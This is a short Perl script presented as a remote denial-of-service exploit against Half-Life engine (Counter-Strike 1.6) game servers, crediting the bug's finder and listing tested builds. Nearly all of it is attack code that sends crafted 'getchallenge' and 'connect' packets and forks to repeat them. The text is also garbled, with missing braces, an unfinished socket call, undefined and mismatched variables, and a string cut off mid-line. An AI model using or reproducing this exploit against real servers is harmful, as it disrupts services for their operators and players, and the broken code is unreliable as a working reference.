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Exploit cs 1.6

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# Server must not be running steam. /str0ke

# Half-Life engine remote DoS exploit

# bug found by Firestorm

# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server

use IO::Socket;

die "usage: ./csdos <host>" unless $ARGV[0];


if (fork())

{       econnect($host); }


{ econnect($host); };


sub econnect($)


       my $host=$_[0];

       my $sock = new


       die "Could not create socket: $!n" unless $sock;


       syswrite $sock, $cmd."getchallenge";

       sysread $sock,$b,65535;  print $b,"n";

       @c=split(/ /,$B);


       $q=$cmd."connect 47 $c2 "prot4unique

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